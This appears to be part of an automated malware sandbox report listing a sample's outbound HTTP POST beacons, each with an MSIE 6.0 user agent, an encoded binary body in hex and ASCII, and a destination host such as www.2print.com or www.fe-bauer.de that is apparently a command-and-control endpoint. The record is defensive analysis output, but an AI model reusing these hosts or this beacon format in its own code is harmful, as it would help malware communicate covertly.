Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 548User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.2print.comCache-Control: no-cacheData Raw: 4c 4d 41 53 30 56 77 74 4e 2f 74 7a 48 32 33 4b 68 2b 6c 4b 61 4f 38 6f 4b 69 4e 30 6e 65 73 44 55 4b 79 6b 61 78 7a 67 4a 61 50 2f 2f 63 79 77 32 71 64 73 4b 6c 37 52 67 49 63 46 4b 52 41 6a 41 31 75 6f 37 68 53 34 71 73 7a 72 67 5a 77 53 78 7a 53 6e 32 4a 45 73 62 4f 42 75 6a 4c 50 4a 68 58 34 43 43 73 30 66 66 47 52 44 32 32 39 4b 4c 50 59 55 73 55 64 63 32 76 6d 75 4b 67 44 6b 39 6b 53 34 6b 2b 38 66 62 43 62 59 4a 4d 45 5a 4d 56 64 68 30 6b 69 73 67 53 57 79 55 50 38 50 55 4c 67 50 44 73 70 45 6c 41 42 74 5a 49 6a 72 44 72 63 6c 5a 57 30 45 2b 76 56 42 43 4c 6d 67 6b 6e 65 46 77 52 4c 38 6d 43 31 32 74 73 61 44 79 64 68 7a 44 34 69 4e 68 53 46 42 65 52 57 5a 62 41 51 64 6c 32 4e 30 4d 76 66 70 56 66 52 35 59 45 4f 62 6b 48 4e 63 55 34 35 6a 51 43 58 57 47 2b 41 74 78 45 43 53 4f 6e 51 66 56 41 79 72 41 6a 30 54 6e 71 66 41 74 6e 37 53 34 43 44 6c 33 55 31 2f 46 34 59 4e 56 31 71 31 33 6b 7a 6d 70 70 79 4c 52 79 33 49 37 36 46 57 78 4f 53 63 43 2f 56 6c 41 35 48 4a 66 54 6a 78 65 55 63 57 73 55 31 42 42 64 73 2b 65 72 4d 47 68 6e 70 4e 6c 38 75 68 65 46 39 33 63 2b 77 61 6f 58 67 73 74 46 36 57 68 39 41 62 43 53 58 4f 49 31 42 43 74 6a 55 2b 38 6d 56 6d 34 54 6e 76 36 64 65 41 38 57 71 79 68 41 62 6c 54 72 62 64 71 57 4c 37 6f 68 58 68 55 55 62 43 51 62 4e 36 64 4a 45 32 34 49 33 6a 69 77 69 6c 6a 43 4d 76 6b 53 48 2f 34 31 57 4f 68 69 38 35 46 30 4f 70 4f 32 74 34 6b 75 4e 2b 75 55 76 52 51 77 76 78 61 33 2b 48 41 39 2f 63 6f 31 34 4e 77 6c 2b 56 45 54 63 41 51 4b 6e 62 74 59 6d 52 75 42 55 55 62 77 56 44 69 2f 57 54 78 4e 6c 38 44 47 54 41 6b 62 4f 43 73 36 74 68 48 63 65 47 59 65 4a 49 49 42 52 36 61 6e 70 6c Data Ascii: LMAS0VwtN/tzH23Kh+lKaO8oKiN0nesDUKykaxzgJaP//cyw2qdsKl7RgIcFKRAjA1uo7hS4qszrgZwSxzSn2JEsbOBujLPJhX4CCs0ffGRD229KLPYUsUdc2vmuKgDk9kS4k+8fbCbYJMEZMVdh0kisgSWyUP8PULgPDspElABtZIjrDrclZW0E+vVBCLmgkneFwRL8mC12tsaDydhzD4iNhSFBeRWZbAQdl2N0MvfpVfR5YEObkHNcU45jQCXWG+AtxECSOnQfVAyrAj0TnqfAtn7S4CDl3U1/F4YNV1q13kzmppyLRy3I76FWxOScC/VlA5HJfTjxeUcWsU1BBds+erMGhnpNl8uheF93c+waoXgstF6Wh9AbCSXOI1BCtjU+8mVm4Tnv6deA8WqyhAblTrbdqWL7ohXhUUbCQbN6dJE24I3jiwiljCMvkSH/41WOhi85F0OpO2t4kuN+uUvRQwvxa3+HA9/co14Nwl+VETcAQKnbtYmRuBUUbwVDi/WTxNl8DGTAkbOCs6thHceGYeJIIBR6anpl
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 588User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.netcr.comCache-Control: no-cacheData Raw: 61 78 4c 42 70 54 36 45 46 50 75 5a 32 67 34 54 43 56 34 34 45 79 47 38 38 65 62 2b 4d 70 62 5a 55 6f 67 36 46 4f 42 33 50 58 66 33 58 4d 6a 44 72 52 39 45 31 6c 63 47 78 75 63 59 47 4a 56 6a 77 53 59 4a 35 57 61 4d 6d 2f 4d 66 4d 45 45 6c 6b 57 79 48 68 66 37 30 46 4a 37 31 36 6b 71 44 38 4c 43 33 62 33 75 76 71 52 6f 4d 61 74 5a 55 33 74 41 59 4d 39 7a 79 4e 44 33 4d 4d 43 69 52 32 55 78 6c 58 55 67 34 77 67 6e 36 7a 6a 5a 68 64 58 42 37 43 6f 50 4a 63 76 51 2b 62 6c 77 41 59 6a 70 31 58 73 56 44 48 50 74 37 34 63 73 34 4c 2f 32 50 4c 72 6a 6f 49 59 4d 54 63 2f 32 79 68 34 45 52 58 4a 55 4e 50 56 6d 4f 6e 50 32 54 57 34 32 42 71 76 63 77 74 74 75 44 38 4b 45 68 68 41 69 6a 79 41 2f 53 37 51 45 6a 6c 6e 35 65 6e 59 69 7a 71 6d 6a 34 36 78 2f 6f 4a 45 55 6b 6a 6d 50 4f 32 4a 6f 7a 47 6e 4f 37 34 4e 63 72 67 6b 75 6b 52 4f 4f 2f 79 52 52 78 49 42 67 4e 58 4a 4b 30 48 69 74 2f 51 54 6a 75 4a 62 61 43 67 39 66 55 61 6c 2f 76 65 2f 50 4d 6d 42 59 6d 72 2b 43 5a 54 68 49 6f 4b 57 34 66 41 75 4a 2b 6e 51 75 47 37 35 68 62 59 4c 35 34 31 41 58 63 4a 5a 4d 4d 44 6d 45 32 43 50 49 2f 79 54 72 5a 36 57 52 32 73 62 39 6d 70 6a 51 55 4d 52 33 44 38 4a 38 64 4e 68 4f 55 70 74 68 52 2b 68 31 46 54 59 2f 6f 2b 2b 4f 72 5a 71 78 31 38 4c 67 36 76 32 6c 47 77 79 69 53 62 5a 6b 70 76 54 6b 48 36 59 38 42 6c 4d 53 61 77 72 44 79 62 68 34 41 37 79 52 65 6c 6c 58 45 4f 4b 66 69 66 2b 7a 45 58 45 4d 2b 57 37 6d 4f 62 39 47 2b 4e 42 46 4d 7a 4b 52 39 67 30 76 69 33 6e 66 2f 32 50 38 72 6b 4d 64 59 78 4a 73 48 58 30 68 67 2b 62 36 42 5a 61 50 69 48 4a 35 6e 38 6d 70 38 6e 74 6a 35 73 6a 41 6b 6e 6d 58 58 64 5a 58 42 45 6d 58 78 61 6a 72 50 2f 6f 6e 6a 38 45 67 62 47 4b 2f 79 36 44 34 69 37 4c 35 4e 54 51 79 78 39 4c 41 31 50 52 35 57 66 66 34 41 71 6f 77 3d Data Ascii: axLBpT6EFPuZ2g4TCV44EyG88eb+MpbZUog6FOB3PXf3XMjDrR9E1lcGxucYGJVjwSYJ5WaMm/MfMEElkWyHhf70FJ716kqD8LC3b3uvqRoMatZU3tAYM9zyND3MMCiR2UxlXUg4wgn6zjZhdXB7CoPJcvQ+blwAYjp1XsVDHPt74cs4L/2PLrjoIYMTc/2yh4ERXJUNPVmOnP2TW42BqvcwttuD8KEhhAijyA/S7QEjln5enYizqmj46x/oJEUkjmPO2JozGnO74NcrgkukROO/yRRxIBgNXJK0Hit/QTjuJbaCg9fUal/ve/PMmBYmr+CZThIoKW4fAuJ+nQuG75hbYL541AXcJZMMDmE2CPI/yTrZ6WR2sb9mpjQUMR3D8J8dNhOUpthR+h1FTY/o++OrZqx18Lg6v2lGwyiSbZkpvTkH6Y8BlMSawrDybh4A7yRellXEOKfif+zEXEM+W7mOb9G+NBFMzKR9g0vi3nf/2P8rkMdYxJsHX0hg+b6BZaPiHJ5n8mp8ntj5sjAknmXXdZXBEmXxajrP/onj8EgbGK/y6D4i7L5NTQyx9LA1PR5Wff4Aqow=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fe-bauer.deCache-Control: no-cacheData Raw: 69 6d 55 47 6d 67 7a 78 32 66 71 46 51 6a 46 75 64 2f 69 32 57 52 2b 59 63 41 4c 6b 30 6e 78 47 41 41 75 59 77 79 77 44 43 57 77 47 59 4d 4d 77 31 5a 7a 73 57 61 75 30 35 56 6d 31 4d 6b 69 44 31 57 35 78 68 6b 6d 57 48 42 71 5a 74 52 6b 39 74 43 46 6f 71 57 32 5a 64 4c 44 6f 45 42 75 50 69 75 77 59 67 43 73 47 34 6c 33 58 32 47 74 4c 69 38 54 52 32 6b 36 77 50 44 71 62 6b 35 65 61 79 6f 79 73 73 39 59 31 70 62 33 50 6d 4c 67 37 72 2f 53 31 2f 57 2b 72 79 31 78 46 49 63 4d 37 49 6a 52 43 4e 56 68 33 4e 34 72 58 34 57 44 62 66 6c 7a 44 59 32 68 44 54 62 4a 38 77 77 71 53 55 2f 68 73 45 70 71 77 75 77 74 34 66 32 4c 4f 2f 56 59 62 35 6a 61 39 77 65 32 46 4f 4b 62 45 52 30 79 39 34 72 54 78 54 54 71 58 41 68 48 54 47 73 6a 36 61 33 50 68 59 48 51 78 6d 62 67 6c 46 4d 4e 6c 5a 4c 74 30 4f 72 4f 37 70 58 7a 6c 4a 51 4b 73 5a 37 73 78 48 39 51 6e 4e 41 76 43 49 76 4c 4b 78 78 54 38 65 33 72 6e 73 54 39 5a 33 66 6a 37 4d 63 5a 2b 57 6c 6d 6f 73 68 76 2b 75 35 51 63 72 47 52 4b 55 6a 52 32 42 49 64 4b 4d 42 7a 65 5a 32 36 31 4b 7a 75 47 6e 6f 6c 37 31 32 79 70 48 4c 33 4e 70 6c 35 54 31 37 38 4f 4e 75 64 75 42 62 63 41 39 57 57 54 68 30 43 30 58 69 6b 68 61 71 6f 44 77 52 46 66 2f 62 74 4a 70 2f 4d 44 4f 78 53 2b 47 4a 55 73 55 57 73 45 49 6e 79 42 46 71 2b 6b 46 51 69 6e 69 4b 41 6b 36 41 38 52 61 37 32 71 36 7a 4c 76 67 53 77 64 4e 57 67 6b 2b 34 5a 6a 38 59 41 55 42 49 58 4f 62 72 6f 79 37 6f 6c 33 63 4b 42 2b 38 4c 65 76 72 50 31 57 4b 6e 75 6c 71 71 75 66 61 78 48 78 6b 33 6e 46 4f 2f 35 33 6f 2b 39 62 33 6d 51 56 57 41 43 4c 7a 51 46 70 5a 56 33 51 50 51 38 75 62 67 37 39 46 4a 36 44 38 4a 44 78 75 74 30 38 45 49 6b 31 42 4a 53 63 63 77 3d 3d Data Ascii: imUGmgzx2fqFQjFud/i2WR+YcALk0nxGAAuYwywDCWwGYMMw1ZzsWau05Vm1MkiD1W5xhkmWHBqZtRk9tCFoqW2ZdLDoEBuPiuwYgCsG4l3X2GtLi8TR2k6wPDqbk5eayoyss9Y1pb3PmLg7r/S1/W+ry1xFIcM7IjRCNVh3N4rX4WDbflzDY2hDTbJ8wwqSU/hsEpqwuwt4f2LO/VYb5ja9we2FOKbER0y94rTxTTqXAhHTGsj6a3PhYHQxmbglFMNlZLt0OrO7pXzlJQKsZ7sxH9QnNAvCIvLKxxT8e3rnsT9Z3fj7McZ+Wlmoshv+u5QcrGRKUjR2BIdKMBzeZ261KzuGnol712ypHL3Npl5T178ONuduBbcA9WWTh0C0XikhaqoDwRFf/btJp/MDOxS+GJUsUWsEInyBFq+kFQiniKAk6A8Ra72q6zLvgSwdNWgk+4Zj8YAUBIXObroy7ol3cKB+8LevrP1WKnulqqufaxHxk3nFO/53o+9b3mQVWACLzQFpZV3QPQ8ubg79FJ6D8JDxut08EIk1BJSccw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.crcsi.orgCache-Control: no-cacheData Raw: 44 73 6f 72 35 6d 73 4f 63 76 76 4a 32 44 6f 34 51 6c 42 72 32 39 51 6a 4d 67 63 78 34 55 4c 68 7a 36 34 70 6c 54 5a 50 36 63 55 32 35 38 35 54 62 79 7a 33 65 41 34 46 4f 78 4c 49 72 37 59 54 31 7a 48 63 2f 4d 44 6c 71 74 39 35 39 44 63 77 47 6a 39 30 68 48 66 78 42 5a 75 64 63 46 56 67 4d 53 6f 39 4d 79 47 4a 53 4f 70 45 2b 74 49 76 58 61 6e 45 50 35 37 55 44 47 61 6d 6e 54 58 58 7a 76 2f 6b 31 79 75 6d 50 77 37 41 59 45 2b 44 61 79 56 49 49 2f 55 4a 55 35 6f 48 52 4a 72 51 68 55 63 65 6c 4e 66 50 7a 5a 62 48 4e 6f 39 2f 68 5a 76 61 63 31 73 42 2b 6c 36 4e 49 54 32 6d 6e 76 30 51 68 59 49 4a 41 66 77 32 66 6a 6e 67 50 51 4a 48 6e 32 77 50 64 37 75 58 47 64 71 2f 55 72 47 6f 38 61 39 41 37 67 63 56 4e 4e 70 69 4d 51 72 5a 46 31 47 52 6a 2b 46 50 43 6d 41 70 66 73 56 32 58 54 6f 35 35 44 67 36 4f 54 64 71 77 4b 6c 66 68 61 2f 54 52 6f 54 61 54 4f 48 76 57 4a 6d 34 73 7a 47 4d 58 57 59 46 33 4f 45 62 4f 79 4f 70 76 47 45 35 46 56 55 4b 4a 74 38 52 4b 66 67 4d 62 4b 30 42 36 4d 48 35 42 59 58 50 61 31 50 72 30 69 75 58 67 33 78 38 6a 4d 54 62 54 69 69 33 55 32 4c 30 6e 52 6f 6f 4f 68 4f 51 76 4e 45 43 72 4e 69 66 4d 58 77 6b 47 57 46 50 52 2f 78 49 79 67 6d 6d 33 67 6a 73 4b 34 47 2f 4f 5a 44 51 4f 67 39 65 79 63 67 78 4c 72 76 4a 6c 5a 65 42 69 33 34 70 2f 41 75 5a 2f 58 45 4b 6a 74 6a 45 4c 77 33 63 72 62 67 70 30 42 45 72 6c 55 30 2f 2f 70 46 79 50 32 57 34 76 37 6c 79 62 72 43 6e 78 48 53 7a 68 79 43 63 66 50 70 38 6d 77 69 42 44 55 44 31 72 4e 48 43 50 77 77 46 55 6e 75 73 7a 49 4a 30 74 51 6f 37 6f 51 73 4e 55 44 70 63 39 72 49 2f 68 79 48 43 46 66 42 2f 78 69 75 77 6e 51 36 67 65 46 52 67 4d 45 36 6a 51 78 73 30 38 47 73 6b 36 38 68 38 70 79 51 6a 33 52 75 74 6f 5a 45 56 64 6d 50 70 62 54 74 50 46 49 6a 79 43 79 62 61 53 4d 66 51 4c 4e 65 6a Data Ascii: Dsor5msOcvvJ2Do4QlBr29QjMgcx4ULhz64plTZP6cU2585Tbyz3eA4FOxLIr7YT1zHc/MDlqt959DcwGj90hHfxBZudcFVgMSo9MyGJSOpE+tIvXanEP57UDGamnTXXzv/k1yumPw7AYE+DayVII/UJU5oHRJrQhUcelNfPzZbHNo9/hZvac1sB+l6NIT2mnv0QhYIJAfw2fjngPQJHn2wPd7uXGdq/UrGo8a9A7gcVNNpiMQrZF1GRj+FPCmApfsV2XTo55Dg6OTdqwKlfha/TRoTaTOHvWJm4szGMXWYF3OEbOyOpvGE5FVUKJt8RKfgMbK0B6MH5BYXPa1Pr0iuXg3x8jMTbTii3U2L0nRooOhOQvNECrNifMXwkGWFPR/xIygmm3gjsK4G/OZDQOg9eycgxLrvJlZeBi34p/AuZ/XEKjtjELw3crbgp0BErlU0//pFyP2W4v7lybrCnxHSzhyCcfPp8mwiBDUD1rNHCPwwFUnuszIJ0tQo7oQsNUDpc9rI/hyHCFfB/xiuwnQ6geFRgME6jQxs08Gsk68h8pyQj3RutoZEVdmPpbTtPFIjyCybaSMfQLNej
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ka-mo-me.comCache-Control: no-cacheData Raw: 61 68 63 57 48 6d 64 77 6e 66 76 6e 6e 45 42 36 46 72 4a 46 75 44 42 6a 4c 4d 37 64 41 44 4c 68 69 30 70 42 2f 79 54 2b 37 69 6a 4f 44 4d 38 43 45 50 46 37 4a 30 7a 41 32 70 63 6c 61 2f 37 57 36 46 4d 7a 6c 6e 61 2f 72 52 79 53 50 57 55 67 67 4d 37 48 61 62 59 51 6c 4d 35 7a 50 41 47 39 44 5a 4d 7a 72 52 72 2b 59 70 66 54 36 36 76 37 32 47 30 43 71 71 77 4f 32 67 69 75 6a 56 70 46 4b 33 37 47 69 56 6b 30 46 66 2b 39 41 62 65 43 47 61 2f 69 6a 4e 51 58 6b 35 77 56 54 43 30 59 6e 4b 6f 77 53 66 76 42 48 78 36 34 67 5a 7a 56 65 50 5a 67 30 56 56 79 74 47 6d 74 49 61 71 6d 54 41 38 4b 52 6a 50 33 63 70 38 4b 45 33 6d 77 4a 6e 61 6c 42 37 52 79 39 34 78 67 38 76 62 75 59 68 67 54 61 69 62 6d 43 59 70 46 65 55 53 6c 46 61 6c 71 75 67 57 4b 62 7a 33 31 50 2f 36 66 50 35 6c 47 30 59 4c 47 30 77 74 51 75 36 45 36 41 46 2b 4e 74 63 5a 75 4b 38 57 36 58 6c 62 30 53 4b 70 6d 33 65 6a 45 39 76 73 49 6c 46 65 54 6d 41 51 77 73 32 4e 74 38 38 4a 41 33 35 6d 31 47 58 73 4b 48 52 56 6c 76 36 43 37 6b 65 63 39 43 52 54 70 56 44 6b 47 6c 4e 44 55 45 64 7a 4b 6d 76 4a 77 77 31 4f 68 2b 59 4c 58 6f 74 6a 52 6c 39 6b 30 37 34 59 2b 54 4c 6c 4d 69 6a 48 48 71 76 7a 58 6f 74 50 69 32 72 30 59 79 36 68 55 47 74 5a 4c 71 55 53 4b 78 78 65 4c 47 77 58 65 42 58 37 30 74 36 57 2b 5a 67 6b 62 73 49 6d 42 64 56 39 38 47 4a 6d 78 70 59 54 69 2f 50 71 61 6e 75 78 38 34 42 6b 5a 69 52 54 2b 41 30 77 46 64 49 46 74 70 6a 62 67 70 52 5a 53 37 53 4d 65 71 79 76 41 53 68 34 34 54 53 54 43 32 79 54 52 4a 51 4b 47 57 77 39 6a 4c 39 78 62 2b 32 56 65 6f 33 50 56 6d 6c 62 30 4e 77 45 71 44 56 66 48 32 42 75 51 5a 61 55 49 6e 70 5a 5a 57 63 34 77 43 56 6f 77 39 43 4f 44 42 54 77 76 54 2b 72 46 43 41 47 53 70 71 69 2f 53 73 52 63 74 41 3d 3d Data Ascii: ahcWHmdwnfvnnEB6FrJFuDBjLM7dADLhi0pB/yT+7ijODM8CEPF7J0zA2pcla/7W6FMzlna/rRySPWUggM7HabYQlM5zPAG9DZMzrRr+YpfT66v72G0CqqwO2giujVpFK37GiVk0Ff+9AbeCGa/ijNQXk5wVTC0YnKowSfvBHx64gZzVePZg0VVytGmtIaqmTA8KRjP3cp8KE3mwJnalB7Ry94xg8vbuYhgTaibmCYpFeUSlFalqugWKbz31P/6fP5lG0YLG0wtQu6E6AF+NtcZuK8W6Xlb0SKpm3ejE9vsIlFeTmAQws2Nt88JA35m1GXsKHRVlv6C7kec9CRTpVDkGlNDUEdzKmvJww1Oh+YLXotjRl9k074Y+TLlMijHHqvzXotPi2r0Yy6hUGtZLqUSKxxeLGwXeBX70t6W+ZgkbsImBdV98GJmxpYTi/Pqanux84BkZiRT+A0wFdIFtpjbgpRZS7SMeqyvASh44TSTC2yTRJQKGWw9jL9xb+2Veo3PVmlb0NwEqDVfH2BuQZaUInpZZWc4wCVow9CODBTwvT+rFCAGSpqi/SsRctA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.nqks.comCache-Control: no-cacheData Raw: 50 55 32 73 41 73 79 62 67 2f 74 4e 51 78 52 78 4e 79 51 64 71 64 39 51 7a 77 57 6b 39 4b 67 36 77 41 47 46 73 51 44 68 4d 31 46 50 50 74 7a 66 78 31 39 51 41 55 63 67 38 4f 53 66 4e 33 75 57 47 59 71 33 46 55 58 2f 57 70 43 43 58 61 34 6c 4e 79 31 57 49 30 72 6c 33 5a 77 35 44 38 77 46 52 30 6b 52 47 33 58 4e 6a 52 52 73 30 59 33 2b 50 50 78 45 44 69 71 34 58 4d 38 5a 4f 35 72 68 61 37 45 48 59 44 37 63 59 53 66 4e 78 45 52 76 69 32 4f 2f 52 35 55 58 46 61 2b 78 79 58 70 4b 58 31 71 79 39 70 39 78 52 6b 48 49 66 51 50 6e 51 55 36 64 76 30 72 56 58 66 76 46 55 74 65 72 52 32 4f 6b 38 6e 71 54 36 64 42 57 6e 75 6c 4f 41 47 66 56 7a 47 76 59 69 6e 74 79 69 47 53 48 55 51 44 76 76 6a 67 48 59 30 4c 2f 6c 33 2f 72 65 42 58 77 50 6d 74 69 2f 58 39 4d 35 2b 58 54 73 55 70 45 73 5a 41 4d 44 51 49 64 30 31 64 49 38 6c 72 4b 68 72 47 71 6d 52 61 75 61 44 33 33 61 41 32 72 48 6c 43 4e 45 33 46 54 53 44 6b 35 64 77 66 77 73 41 47 46 4b 61 2b 69 67 48 37 51 58 57 6e 75 78 48 6d 42 6d 4a 70 4a 6a 36 56 64 68 35 35 65 5a 79 34 51 75 2f 4e 78 50 67 76 6c 46 58 2b 4c 36 75 43 30 46 46 2b 57 6c 6a 38 32 62 51 48 66 47 49 48 64 54 51 55 70 77 76 56 4c 31 6e 37 63 6a 30 46 45 43 42 37 73 4f 48 6e 75 6f 51 31 71 73 35 61 67 53 6b 52 4a 4a 4d 74 50 6f 5a 78 53 45 72 37 2b 36 7a 53 2f 57 49 6f 71 43 76 75 6a 70 32 31 72 77 42 4d 6f 2b 31 55 38 4f 52 6d 5a 57 48 43 6d 67 43 2b 70 46 6e 4d 66 52 64 4f 47 46 57 34 6e 35 4a 6d 75 50 45 50 30 72 4d 36 51 2b 69 6a 4e 6a 33 2b 4d 77 38 77 41 73 39 45 62 66 74 4f 6c 53 73 39 70 75 6c 4e 73 75 5a 6d 34 42 53 70 31 36 30 57 56 70 46 2b 69 2f 38 48 58 54 4c 55 77 75 73 36 58 61 7a 75 74 73 68 70 6b 76 78 35 48 41 54 74 65 6b 61 50 44 66 72 44 6f 5a 65 2b 48 74 59 4b 2b 49 66 30 3d Data Ascii: PU2sAsybg/tNQxRxNyQdqd9QzwWk9Kg6wAGFsQDhM1FPPtzfx19QAUcg8OSfN3uWGYq3FUX/WpCCXa4lNy1WI0rl3Zw5D8wFR0kRG3XNjRRs0Y3+PPxEDiq4XM8ZO5rha7EHYD7cYSfNxERvi2O/R5UXFa+xyXpKX1qy9p9xRkHIfQPnQU6dv0rVXfvFUterR2Ok8nqT6dBWnulOAGfVzGvYintyiGSHUQDvvjgHY0L/l3/reBXwPmti/X9M5+XTsUpEsZAMDQId01dI8lrKhrGqmRauaD33aA2rHlCNE3FTSDk5dwfwsAGFKa+igH7QXWnuxHmBmJpJj6Vdh55eZy4Qu/NxPgvlFX+L6uC0FF+Wlj82bQHfGIHdTQUpwvVL1n7cj0FECB7sOHnuoQ1qs5agSkRJJMtPoZxSEr7+6zS/WIoqCvujp21rwBMo+1U8ORmZWHCmgC+pFnMfRdOGFW4n5JmuPEP0rM6Q+ijNj3+Mw8wAs9EbftOlSs9pulNsuZm4BSp160WVpF+i/8HXTLUwus6Xazutshpkvx5HATtekaPDfrDoZe+HtYK+If0=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fe-bauer.deCache-Control: no-cacheData Raw: 69 6d 55 47 6d 67 7a 78 32 66 71 46 51 6a 46 75 64 2f 69 32 57 52 2b 59 63 41 4c 6b 30 6e 78 47 41 41 75 59 77 79 77 44 43 57 77 47 59 4d 4d 77 31 5a 7a 73 57 61 75 30 35 56 6d 31 4d 6b 69 44 31 57 35 78 68 6b 6d 57 48 42 71 5a 74 52 6b 39 74 43 46 6f 71 57 32 5a 64 4c 44 6f 45 42 75 50 69 75 77 59 67 43 73 47 34 6c 33 58 32 47 74 4c 69 38 54 52 32 6b 36 77 50 44 71 62 6b 35 65 61 79 6f 79 73 73 39 59 31 70 62 33 50 6d 4c 67 37 72 2f 53 31 2f 57 2b 72 79 31 78 46 49 63 4d 37 49 6a 52 43 4e 56 68 33 4e 34 72 58 34 57 44 62 66 6c 7a 44 59 32 68 44 54 62 4a 38 77 77 71 53 55 2f 68 73 45 70 71 77 75 77 74 34 66 32 4c 4f 2f 56 59 62 35 6a 61 39 77 65 32 46 4f 4b 62 45 52 30 79 39 34 72 54 78 54 54 71 58 41 68 48 54 47 73 6a 36 61 33 50 68 59 48 51 78 6d 62 67 6c 46 4d 4e 6c 5a 4c 74 30 4f 72 4f 37 70 58 7a 6c 4a 51 4b 73 5a 37 73 78 48 39 51 6e 4e 41 76 43 49 76 4c 4b 78 78 54 38 65 33 72 6e 73 54 39 5a 33 66 6a 37 4d 63 5a 2b 57 6c 6d 6f 73 68 76 2b 75 35 51 63 72 47 52 4b 55 6a 52 32 42 49 64 4b 4d 42 7a 65 5a 32 36 31 4b 7a 75 47 6e 6f 6c 37 31 32 79 70 48 4c 33 4e 70 6c 35 54 31 37 38 4f 4e 75 64 75 42 62 63 41 39 57 57 54 68 30 43 30 58 69 6b 68 61 71 6f 44 77 52 46 66 2f 62 74 4a 70 2f 4d 44 4f 78 53 2b 47 4a 55 73 55 57 73 45 49 6e 79 42 46 71 2b 6b 46 51 69 6e 69 4b 41 6b 36 41 38 52 61 37 32 71 36 7a 4c 76 67 53 77 64 4e 57 67 6b 2b 34 5a 6a 38 59 41 55 42 49 58 4f 62 72 6f 79 37 6f 6c 33 63 4b 42 2b 38 4c 65 76 72 50 31 57 4b 6e 75 6c 71 71 75 66 61 78 48 78 6b 33 6e 46 4f 2f 35 33 6f 2b 39 62 33 6d 51 56 57 41 43 4c 7a 51 46 70 5a 56 33 51 50 51 38 75 62 67 37 39 46 4a 36 44 38 4a 44 78 75 74 30 38 45 49 6b 31 42 4a 53 63 63 77 3d 3d Data Ascii: imUGmgzx2fqFQjFud/i2WR+YcALk0nxGAAuYwywDCWwGYMMw1ZzsWau05Vm1MkiD1W5xhkmWHBqZtRk9tCFoqW2ZdLDoEBuPiuwYgCsG4l3X2GtLi8TR2k6wPDqbk5eayoyss9Y1pb3PmLg7r/S1/W+ry1xFIcM7IjRCNVh3N4rX4WDbflzDY2hDTbJ8wwqSU/hsEpqwuwt4f2LO/VYb5ja9we2FOKbER0y94rTxTTqXAhHTGsj6a3PhYHQxmbglFMNlZLt0OrO7pXzlJQKsZ7sxH9QnNAvCIvLKxxT8e3rnsT9Z3fj7McZ+Wlmoshv+u5QcrGRKUjR2BIdKMBzeZ261KzuGnol712ypHL3Npl5T178ONuduBbcA9WWTh0C0XikhaqoDwRFf/btJp/MDOxS+GJUsUWsEInyBFq+kFQiniKAk6A8Ra72q6zLvgSwdNWgk+4Zj8YAUBIXObroy7ol3cKB+8LevrP1WKnulqqufaxHxk3nFO/53o+9b3mQVWACLzQFpZV3QPQ8ubg79FJ6D8JDxut08EIk1BJSccw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.lrsuk.comCache-Control: no-cacheData Raw: 4a 36 53 42 73 63 42 2b 53 50 77 65 2f 59 71 66 6b 2b 4e 64 54 2f 50 58 75 4e 71 6f 56 4c 4c 68 39 50 6b 6f 6f 77 32 68 7a 32 4c 71 4a 71 68 61 6e 58 4f 64 52 46 50 37 6c 67 73 33 59 6b 4d 6e 6c 51 4b 61 67 35 4a 75 32 53 51 65 4a 39 6a 65 55 6b 34 6a 76 48 45 49 6c 43 55 6b 6f 73 77 70 56 75 30 67 4d 33 74 59 56 79 78 54 52 6c 4d 78 47 74 37 33 37 76 6b 75 57 57 68 51 78 61 77 4e 76 61 6e 37 48 61 30 68 62 67 47 4b 62 66 49 59 37 64 55 67 58 6e 47 49 77 6c 2f 2f 42 30 30 4c 41 35 4d 58 6b 71 46 59 2f 2b 2b 51 4c 39 56 67 67 49 61 62 6e 71 38 6e 4b 62 35 59 2b 65 64 61 52 4e 37 7a 54 52 61 5a 41 68 68 45 6e 75 78 2f 4d 70 54 6d 5a 71 50 4d 62 4a 6b 52 37 2b 34 49 44 76 66 4f 2f 49 59 50 2b 4b 67 63 70 6e 68 61 64 54 4e 47 2b 45 32 33 30 4c 33 47 61 6d 4b 30 72 46 68 2f 44 76 41 39 4b 7a 6f 58 6a 42 44 4e 61 2f 4e 61 69 48 36 6a 47 6a 4a 74 75 57 4f 79 49 75 45 57 37 78 30 77 4c 42 73 63 7a 4d 4a 67 57 6a 59 63 53 46 42 67 72 54 76 4b 6a 57 78 6e 51 47 41 64 77 51 46 62 52 76 78 4a 70 4e 4f 30 41 45 43 4f 75 59 44 38 58 41 61 7a 2b 32 33 32 6e 46 64 34 36 53 32 41 48 7a 59 52 69 71 47 72 75 4e 4c 37 71 70 4d 64 42 6f 34 6a 36 71 46 71 4c 35 41 54 35 77 43 4b 76 59 31 6a 75 75 76 7a 37 51 6a 49 4e 32 5a 5a 2b 34 79 65 77 78 39 36 53 59 55 51 34 68 4f 41 31 48 50 49 73 7a 63 6c 6c 72 52 45 45 58 77 6f 68 5a 67 64 31 4a 4f 77 64 68 4b 7a 6a 64 4a 53 4d 47 7a 43 56 75 2f 46 4b 68 41 58 62 64 69 57 41 39 56 